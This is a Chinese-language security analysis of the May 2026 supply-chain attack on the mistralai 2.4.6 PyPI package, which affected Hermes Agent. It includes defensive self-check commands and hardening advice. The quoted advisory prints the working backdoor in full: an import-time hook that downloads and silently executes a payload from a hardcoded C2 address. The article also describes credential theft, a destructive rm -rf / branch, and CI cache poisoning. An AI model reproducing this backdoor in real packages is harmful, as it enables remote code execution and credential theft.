Hermes Agent安全漏洞深度测评：密码泄漏风险与防范指南
开发者社区刚刚拉响警报：Hermes Agent 确认遭遇供应链投毒攻击。
最初，这看起来像是一次针对PyPI依赖包的常规攻击。有用户讨论指出，问题可能出在Hermes Agent依赖的一个关键包——mistralai。尽管攻击载体并非Agent本体，但其潜在影响范围极为广泛。
关键在于，这个名为“mistralai”的包并非边缘依赖。它是Mistral AI官方的Python SDK。这家成立于2023年的法国AI公司，已是欧洲估值最高的AI初创公司之一，其开源模型在社区中拥有极高声誉。该SDK在GitHub上已收获超过一万颗星标。
正是这样一个权威的官方项目成为了攻击目标。一旦Agent底层依赖包被植入恶意代码，风险将沿运行环境扩散，直接威胁机器内存储的核心凭据——包括各类API密钥和访问令牌。
消息迅速引发社区警觉。有开发者表示近期刚开始试用Hermes，有人则在部署前一刻看到警告，更多人第一时间检查了服务器密钥是否存在泄露风险。
一、攻击，是为了拿钥匙
我们来完整复盘这次供应链安全事件。
问题的核心是PyPI仓库中mistralai包的2.4.6版本。根据官方安全公告，攻击者在该版本的 src/mistralai/client/__init__.py 文件中植入了恶意代码。该代码会在Linux系统导入（import）包时被触发。
这段代码设计精巧。它首先判断运行环境是否为Linux。确认后，会从一个硬编码地址下载名为 transformers.pyz 的文件，保存至系统临时目录（/tmp/），随后在后台静默执行。
根据GitHub披露的代码片段，它还利用 MISTRAL_INIT 环境变量作为一次性执行标记，防止重复触发，并吞掉了所有可能的错误信息，极大增加了用户的早期发现难度。
## Summary
`mistralai@2.4.6` contains a backdoor in `src/mistralai/client/__init__.py` (lines 21-48) that downloads and executes an arbitrary payload from a hardcoded IP address on Linux systems at import time.
## Malicious Code
import subprocess as _sub
import os as _os
def _run_background_task():
if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
return
_os.environ["MISTRAL_INIT"] = "1"
_url = "https://83.142.209.194/transformers.pyz"
_dest = "/tmp/transformers.pyz"
try:
if not _os.path.exists(_dest):
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
if _os.path.exists(_dest):
_sub.Popen(
[_sys.executable, _dest],
stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
start_new_session=True, env=_os.environ.copy()
)
except:
pass
_run_background_task() # Executes on import
## Beha vior
1. **Targets Linux only** (`sys.platform.startswith("linux")`)
2. Downloads `https://83.142.209.194/transformers.pyz` via `curl -k` (disables TLS verification)
3. Sa ves payload to `/tmp/transformers.pyz`
4. Executes it as a background Python process (`start_new_session=True`, stdout/stderr silenced)
5. Triggered automatically on `import mistralai` — no user action needed
6. Uses `MISTRAL_INIT` env var as single-execution guard
7. Bare `except: pass` swallows all errors silently
## IOCs
| Type | Value |
|------|-------|
| **C2 IP** | `83.142.209.194` |
| **Payload URL** | `https://83.142.209.194/transformers.pyz` |
| **Payload path** | `/tmp/transformers.pyz` |
| **Env variable** | `MISTRAL_INIT=1` |
| **File** | `src/mistralai/client/__init__.py` lines 21-48 |
| **SHA256 (tarball)** | `6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b` |
## Affected File
`src/mistralai/client/__init__.py` — this code does NOT exist in version `2.4.5`.
## Recommended Actions
1. **Yank `2.4.6` from PyPI immediately**
2. Audit PyPI publishing credentials and CI/CD pipeline for compromise
3. Any Linux system that ran `pip install mistralai==2.4.6` or `pip install --upgrade mistralai` since 2026-05-12T00:05Z should check for `/tmp/transformers.pyz` and investigate这个后台进程的核心任务是凭据收集。它会扫描机器上常见位置，例如 .env 文件中的OpenAI Key、Mistral Key、GitHub Token、数据库密码，以及各大云服务商的访问密钥（AK/SK）和CI/CD流水线的发布权限。
微软的分析报告进一步指出，被下载的远程负载（payload）本身就是一个凭据窃取器。更值得警惕的是，该窃取器包含地理判定逻辑：若检测到俄语系统环境，它会直接退出；若判定系统属于以色列或伊朗，则有六分之一的概率执行 rm -rf / 命令，进行破坏性删除。
事实上，mistralai 2.4.6 并非孤立事件，它是近期一波大规模供应链攻击中的一环。 已知受影响的PyPI包还包括guardrails-ai@0.10.1。安全研究人员将这波攻击命名为 Mini Shai-Hulud。该名称源自《沙丘》，Shai-Hulud指代巨型沙虫，“迷你”版本则暗示其形态较小但具备扩散能力。
这波攻击始于5月11日，首先在npm生态爆发。受害者不仅包括Mistral AI，还有前端领域知名的TanStack（其表格和路由库被广泛使用）。根据Snyk分析，在UTC时间5月11日一个极短的时间窗口内，TanStack命名空间下的42个包被发布了84个恶意版本，且这些包是通过TanStack自身合法的发布流水线推送的。
攻击随后迅速扩散。据统计，在5月11日至12日期间，攻击者共发布了超过170个npm包和2个PyPI包的恶意版本，总计404个。受影响的组织名单不断延长，包括UiPath、OpenSearch、Guardrails AI等知名项目。
整个攻击链条最令人警惕的一点在于，根据TanStack的事后复盘及多家安全团队分析，攻击者并未直接攻破PyPI或npm的官方服务器，也未窃取开发者本地的个人凭据或发布令牌。
他们真正攻陷的是项目的“发布链路”。攻击手法大致如下：攻击者先在项目的一个fork上发起特殊的Pull Request（pull_request_target），利用GitHub Actions工作机制污染了pnpm的缓存。当项目维护者后续合并主分支、触发正式发布工作流时，被污染的缓存就在CI运行器（runner）中被还原。接着，攻击者的二进制程序直接从运行器的进程内存中读取OIDC令牌，最终利用这套“合法身份”完成了恶意版本的发布。目前，攻击者身份尚未有定论。
二、如何自查是否被攻击？
作为用户，如何判断你的环境是否已受影响？
如果你在运行Hermes Agent的机器上执行以下命令：
python -m pip show mistralai | grep -i '^Version'如果返回结果是：
Version: 2.4.6那么就需要立即采取行动。
接下来，检查临时目录中是否存在恶意文件：
ls -la /tmp/transformers.pyz如果这个文件存在，风险就已逼近。
进一步，查看后台是否有相关的Python进程在运行：
pgrep -af '/tmp/transformers.pyz'如果查到了进程，可以检查该进程的环境变量中是否包含攻击标记：
for pid in $(pgrep -f '/tmp/transformers.pyz'); do
echo "PID: $pid"
tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep '^MISTRAL_INIT='
done最后，检查机器是否与攻击者控制的服务器（C2）有过连接：
sudo ss -tunap | grep '83.142.209.194'如果不幸中招，仅卸载这个包是远远不够的。
标准的应急响应步骤包括：立即停止使用受影响的所有版本，彻底清理安装过这些包的系统，轮换该系统能够访问到的所有密钥和凭据，仔细检查云平台的操作审计日志，并持续监控与已知攻击服务器（C2）的连接企图。
一个核心安全原则是：如果你的Linux服务器上安装过mistralai 2.4.6，你必须默认假设这台机器上存储的所有密钥都可能已经泄露。
三、信任被污染
这次事件，彻底暴露了开源生态中最致命的一类问题：信任链污染。
过去，我们评估一个软件包的安全性，通常依赖于几个简单信号：包名是否正确、发布者是否为官方、下载源是否是PyPI或npm这类可信仓库。
但Mini Shai-Hulud攻击最阴险之处，恰恰在于它利用了用户对这种“正规路径”的盲目信任。
TanStack的案例更为典型，恶意版本是通过项目方自己合法的CI/CD流水线发布的。这意味着，攻击者直接将“可信的构建与发布通道”变成了“投毒管道”。
而在mistralai的案例中，根据GitHub的安全公告，2.4.6版本没有对应的代码标签（tag）、提交（commit），也没有正常的发布工作流记录。这说明它并非从仓库的标准流程产生，但它却依然出现在了PyPI上官方的“mistralai”包名下。对于大多数用户而言，只要包名对、来源看起来权威，信任便自动建立了。
两种攻击路径虽有差异，但本质相同：攻击者瞄准的都不是单个终端用户，而是用户对“官方包名”和“自动化安装流程”的整体信任体系。那些旨在提升效率的一键安装脚本或自动化部署流程，在供应链攻击面前，可能瞬间变为恶意代码扩散的“高速公路”。
这给所有开发者和运维人员敲响了警钟。你不需要成为安全专家，但必须建立基本的安全意识：一个Agent是否安全，绝不只取决于它自身的代码。
首先，对于安装的每一个SDK、工具包，乃至每一行一键部署脚本，都应该做到可追溯来源、锁定具体版本、并校验文件哈希值。盲目信任并始终安装“最新版”是一种高风险行为。
其次，项目的安全防护不能仅限于代码仓库。构建机器、CI/CD系统的访问权限、OIDC配置、发布令牌等，都需要纳入严格的安全管理范畴。因为一旦攻击者掌控了发布链路，他们就不再需要偷偷植入后门，而是可以“光明正大”地利用你的官方渠道分发恶意版本。
最后，必须贯彻最小权限原则。Agent或任何自动化工具，不应默认获得全部的环境变量、所有密钥和完整的文件系统访问权限。尤其是像 .env 配置文件、云服务商密钥、GitHub Token、模型API Key这类敏感信息，应该按环境隔离、设置为只读权限、并使用短期有效的令牌，最大限度降低泄露带来的损失。
这次事件或许预示着一个转折点。未来真正成熟、值得信赖的Agent产品，其核心竞争力可能不仅仅是“能够调用更多工具”。它必须能够清晰回答一个更根本的问题：用户交给它的那些“钥匙”，最终是否安全？